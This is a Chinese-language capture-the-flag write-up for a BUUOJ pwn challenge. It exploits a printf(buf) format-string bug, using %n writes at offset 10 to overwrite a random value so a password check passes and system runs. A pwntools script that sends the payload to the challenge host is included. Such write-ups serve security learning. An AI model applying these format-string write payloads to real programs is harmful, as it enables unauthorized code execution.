先checksec一下,发现开启了NX和canary保护
看一下ida反汇编,发现输入全都有限制,无法造成造成栈溢出。代码最后会与随机数判断,若相等会执行system。
我们看到有printf(buf),这可以造成格式字符串漏洞。
如果我们用格式字符串修改随机数的值,再将输入一样的值就可以执行我们想要的sys。
我们nc连一下,看到偏移量为10(注意(nil)也算一个)
点进随机数,地址为0x0804C040
%n是将之前输出的长度写进指定地址里面
%10$n是把前面输出的长度写入偏移10那里
点击查看代码
printf("%10$hhn%11$hhn%12$hhn%13$hhn",0x804c044, 0x804c045, 0x804c046, 0x804c047);
也就是
payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
passwd的每个字节是p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047) 的长度,为4*4=16个字节,即十六进制为0x10,所以passwd就是4个0x10拼接起来后的计算结果str(0x10101010)
from pwn import *
io=remote('node5.buuoj.cn',28269)
elf=ELF('./pwn')
payload=p32(0x0804C044)+b'%10$n'
#payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
io.sendlineafter('name:',payload)
io.sendlineafter('passwd:',b'4')
#io.sendlineafter('passwd:',str(0x10101010))
io.interactive()